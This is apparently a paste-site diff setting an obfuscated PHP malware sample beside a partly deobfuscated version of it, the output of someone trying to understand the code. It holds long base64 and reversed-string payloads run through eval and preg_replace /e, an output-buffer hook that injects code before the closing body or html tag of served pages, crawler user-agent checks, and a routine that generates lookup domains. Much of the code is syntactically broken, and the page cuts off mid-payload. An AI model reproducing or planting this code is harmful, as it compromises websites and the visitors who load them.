SHOW:
|
|
- or go back to the newest paste.
| 1 | - | <?php |
| 1 | + | googlefu came up with this: |
| 2 | ||
| 3 | - | //=============================== |
| 3 | + | <?php |
| 4 | - | /// Obfuscated globs... |
| 4 | + | |
| 5 | - | //=============================== |
| 5 | + | /* Decoded by unphp.net */ |
| 6 | ||
| 7 | $eva1fY2bak1cz0ir = "function_exists"; | |
| 8 | - | function $main_code() |
| 8 | + | $eva1fY2bal1cz0ir = "ob_start"; |
| 9 | - | {
|
| 9 | + | $eva1fY2bal1cz8ir = "codex22"; |
| 10 | - | //echo start |
| 10 | + | |
| 11 | - | if(!isset($GLOBALS["aghex0"])) |
| 11 | + | if (function_exists("ob_start") && !isset($GLOBALS["codex22"])) {
|
| 12 | - | {
|
| 12 | + | $GLOBALS["codex22"] = 1; |
| 13 | - | $GLOBALS["aghex0"]=1; |
| 13 | + | |
| 14 | - | $url_contents |
| 14 | + | if (!function_exists("eva1fY2bak1cV2ir")) {
|
| 15 | - | if (1) |
| 15 | + | |
| 16 | - | {
|
| 16 | + | if (!function_exists("main_code")) {
|
| 17 | - | $code_block = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9"; |
| 17 | + | function main_code() {
|
| 18 | - | |
| 18 | + | //echo start |
| 19 | - | $eva1tYXdakAcVSjr = (gao[pxe);(chr(2687.5*0.016), $code_block);[0.031*0.061]; |
| 19 | + | if (!isset($GLOBALS["aghex0"])) {
|
| 20 | - | $eva1tYidokBcVSjr = (gao[pxe);(chr(3625*0.016), ;))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie); |
| 20 | + | $GLOBALS["aghex0"] = 1; |
| 21 | - | (gao[pxe.gao[pxe;);($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],($eva1tYidokBcVSjr[0.061*0.031])); |
| 21 | + | $url_contents = ""; |
| 22 | - | } |
| 22 | + | if (!isset($code_block)) {
|
| 23 | - | } |
| 23 | + | |
| 24 | - | return $url_contents; |
| 24 | + | // preg_replace($code_array[2], $code_array[1], strrev($code_array[0])); |
| 25 | - | } |
| 25 | + | // preg_replace("@(.+)@ie", "eval("");", "@eval(base64_decode($code_block_parts[1]));");
|
| 26 | // eval(base64_decode($code_block_parts[1]) | |
| 27 | - | //=============================== |
| 27 | + | |
| 28 | - | // decode formula with gzinflate |
| 28 | + | // Original variable names |
| 29 | - | // =============================== |
| 29 | + | $code_block = "7kyJ7kSKi..."; // Truncated |
| 30 | $eva1fYlbakBcVSir = $code_block; | |
| 31 | $eva1tYlbakBcVSir = "edolpxe"; | |
| 32 | - | function gzdecode($input_string) |
| 32 | + | $eva1tYldakBcVSir = "strrev"; |
| 33 | - | {
|
| 33 | + | $eva1tYldakBoVS1r = "ecalper_gerp"; |
| 34 | - | |
| 34 | + | $eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie";
|
| 35 | - | if(@ord(@substr($input_string,3,1));&4) |
| 35 | + | $eva1tYldokBcVSjr = strrev($eva1tYldakBoVS1r); // preg_replace |
| 36 | - | {
|
| 36 | + | $eva1tYldakBcVSjr = strrev($eva1tYlbakBcVSir); // explode() |
| 37 | - | 10+=2+@unpack('v',substr($input_string,10,2));; |
| 37 | + | |
| 38 | - | } |
| 38 | + | $eva1tYidakBcVSjr = explode('+', $code_block);
|
| 39 | - | if(@ord(@substr($input_string,3,1));&8) |
| 39 | + | $code_block_parts = $eva1tYidakBcVSjr; |
| 40 | - | {
|
| 40 | + | |
| 41 | - | 10=@$strpos($input_string,chr(0),10)+1; |
| 41 | + | $eva1tYXdakAcVSjr = $code_block_parts[0]; |
| 42 | - | } |
| 42 | + | |
| 43 | - | if(@ord(@substr($input_string,3,1));&16) |
| 43 | + | $code_array = $eva1tYidokBcVSjr = array( |
| 44 | - | {
|
| 44 | + | ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@", |
| 45 | - | 10=@$strpos($input_string,chr(0),10)+1; |
| 45 | + | "eval("");",
|
| 46 | - | } |
| 46 | + | "@(.+)@ie" |
| 47 | - | if(@ord(@substr($input_string,3,1));&2) |
| 47 | + | ); |
| 48 | - | {
|
| 48 | + | |
| 49 | - | 10+=2; |
| 49 | + | |
| 50 | - | } |
| 50 | + | if (!isset($evalUdCXTDQERmWnDS)) {
|
| 51 | - | $output=@gzinflate(@substr($input_string,10)); |
| 51 | + | |
| 52 | - | if($output===FALSE) |
| 52 | + | function custom_strrev($s) {
|
| 53 | - | {
|
| 53 | + | $e = ""; |
| 54 | - | $output=$input_string; |
| 54 | + | for ($a = 0; $a <= strlen($s) - 1; $a++) {
|
| 55 | - | } |
| 55 | + | $e. = $s {
|
| 56 | - | return $output; |
| 56 | + | strlen($s) - $a - 1 |
| 57 | - | } |
| 57 | + | }; |
| 58 | } | |
| 59 | return ($e); | |
| 60 | - | //=============================== |
| 60 | + | } |
| 61 | - | // INJECTIONS |
| 61 | + | |
| 62 | - | // =============================== |
| 62 | + | $evallwhVfIVnWPbT = 'custom_strrev'; |
| 63 | $evalMNhPOlTagIOfBSF = 'base64_decode'; | |
| 64 | ||
| 65 | - | function initial_entry($var6) |
| 65 | + | $evalamSEiYUdCgdSW = "stats"; |
| 66 | - | {
|
| 66 | + | $evalTWeirVaqVW = "http"; |
| 67 | - | Content-Encoding: none" = "Content-Encoding: none"; |
| 67 | + | $evalBdUbtGUDXfB = 'in'; |
| 68 | - | $Header(Content-Encoding: none"); |
| 68 | + | $evalQwblCenFzUe = '!go!'; |
| 69 | - | $decoded=gzdecode($var6); // the main code |
| 69 | + | $evalrMsivpMgcfC = $_SERVER['HTTP_USER_AGENT']; |
| 70 | - | if($preg_match(/¥<¥/body/si,$decoded)) |
| 70 | + | |
| 71 | - | {
|
| 71 | + | // eval(base64_decode(strrev($eva1tYXdakAcVSjr))); |
| 72 | - | return $preg_replace(/(¥<¥/body[^¥>]*¥>)/si, $main_code().""."$1", |
| 72 | + | $fif25 = "@(.+)@i"; |
| 73 | - | $decoded,1); |
| 73 | + | $fif52 = 'eval("\1");';
|
| 74 | - | } |
| 74 | + | $fit52 = '@eval(base64_decode("';
|
| 75 | - | else |
| 75 | + | $retarn='preg_replace'; |
| 76 | - | {
|
| 76 | + | $retun='create_function'; |
| 77 | - | if($preg_match(/¥<¥/html/si,$decoded)) |
| 77 | + | $retrun='retrun'; |
| 78 | - | {
|
| 78 | + | |
| 79 | - | return $preg_replace(/(¥<¥/html[^¥>]*¥>)/si, $main_code().""."$1", |
| 79 | + | |
| 80 | - | $decoded,1); |
| 80 | + | |
| 81 | - | } |
| 81 | + | function retrun($return) {
|
| 82 | - | else |
| 82 | + | $funciton = create_function("&$"."function","$"."function = chr(ord($"."function)-3);");
|
| 83 | - | {
|
| 83 | + | $return = str_split($return); |
| 84 | - | return $decoded; |
| 84 | + | array_walk($return, $funciton); |
| 85 | - | } } } |
| 85 | + | return base64_decode(implode("",$return));
|
| 86 | } | |
| 87 | - | //=============================== |
| 87 | + | |
| 88 | - | /// Obfuscated globs...#2 |
| 88 | + | // Renamed to get_domain() |
| 89 | - | //=============================== |
| 89 | + | // function dd0(){
|
| 90 | // $tsst52 = create_function('$return', 'return "web-".substr($return,0,3);');
| |
| 91 | - | if(function_exists(ob_start) && !isset($GLOBALS[codex22])) |
| 91 | + | // $tsst5 = create_function('$return', 'return md5($return);');
|
| 92 | - | {
|
| 92 | + | // $tsst51 = create_function('', 'return mt_rand(1-1,1+1);');
|
| 93 | - | $GLOBALS[codex22]=1; |
| 93 | + | // $tsst512 = create_function('$create_function', 'return gethostbyname($create_function.".c"."a");');
|
| 94 | - | if(!function_exists("initial_entry")) |
| 94 | + | // return $tsst5($tsst512($tsst52($tsst5($tsst51())))).".com"; |
| 95 | - | {
|
| 95 | + | // } |
| 96 | - | if(!function_exists("$main_code")) |
| 96 | + | |
| 97 | - | {
|
| 97 | + | function get_domain(){
|
| 98 | - | function $main_code() |
| 98 | + | $rand_md5 = md5(mt_rand(0, 2)); |
| 99 | - | {
|
| 99 | + | $web = "web-".substr($rand_md5,0,3); |
| 100 | - | //echo start |
| 100 | + | $host_lookup = gethostbyname($create_function.".c"."a"); |
| 101 | - | if(!isset($GLOBALS["aghex0"])) |
| 101 | + | return md5($host_lookup); |
| 102 | - | {
|
| 102 | + | } |
| 103 | - | $GLOBALS["aghex0"]=1; |
| 103 | + | |
| 104 | - | $url_contents |
| 104 | + | $user_agents = array( |
| 105 | - | if (1) |
| 105 | + | "Google", |
| 106 | - | {
|
| 106 | + | "Slurp", |
| 107 | - | $code_block = = "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